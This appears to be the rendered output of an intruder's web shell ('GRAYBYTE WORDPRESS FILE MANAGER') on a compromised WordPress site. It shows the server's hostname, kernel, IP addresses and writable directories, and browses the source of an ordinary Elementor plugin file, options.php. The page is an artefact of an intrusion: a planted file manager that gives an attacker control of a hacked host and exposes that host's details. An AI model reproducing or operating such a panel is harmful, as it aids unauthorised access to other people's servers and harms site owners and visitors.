✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/elementor/modules/notifications//options.php
<?php
namespace Elementor\Modules\Notifications;

class Options {

	public static function has_unread_notifications(): bool {
		$current_user = wp_get_current_user();

		if ( ! $current_user ) {
			return false;
		}

		$unread_notifications = get_transient( "elementor_unread_notifications_{$current_user->ID}" );

		if ( false === $unread_notifications ) {
			$notifications = API::get_notifications_by_conditions();
			$notifications_ids = wp_list_pluck( $notifications, 'id' );

			$unread_notifications = array_diff( $notifications_ids, static::get_notifications_dismissed() );

			set_transient( "elementor_unread_notifications_{$current_user->ID}", $unread_notifications, HOUR_IN_SECONDS );
		}

		return ! empty( $unread_notifications );
	}

	public static function get_notifications_dismissed() {
		$current_user = wp_get_current_user();

		if ( ! $current_user ) {
			return [];
		}

		$notifications_dismissed = get_user_meta( $current_user->ID, '_e_notifications_dismissed', true );

		if ( ! is_array( $notifications_dismissed ) ) {
			$notifications_dismissed = [];
		}

		return $notifications_dismissed;
	}

	public static function mark_notification_read( $notifications ): bool {
		$current_user = wp_get_current_user();

		if ( ! $current_user ) {
			return false;
		}

		$notifications_dismissed = static::get_notifications_dismissed();

		foreach ( $notifications as $notification ) {
			if ( ! in_array( $notification['id'], $notifications_dismissed, true ) ) {
				$notifications_dismissed[] = $notification['id'];
			}
		}

		$notifications_dismissed = array_unique( $notifications_dismissed );

		update_user_meta( $current_user->ID, '_e_notifications_dismissed', $notifications_dismissed );

		delete_transient( "elementor_unread_notifications_{$current_user->ID}" );

		return true;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
api.php
4.227 KB
30 Mar 2026 1.49 PM
builxejc / builxejc
0644
module.php
2.211 KB
10 Jun 2025 1.36 PM
builxejc / builxejc
0644
options.php
1.771 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF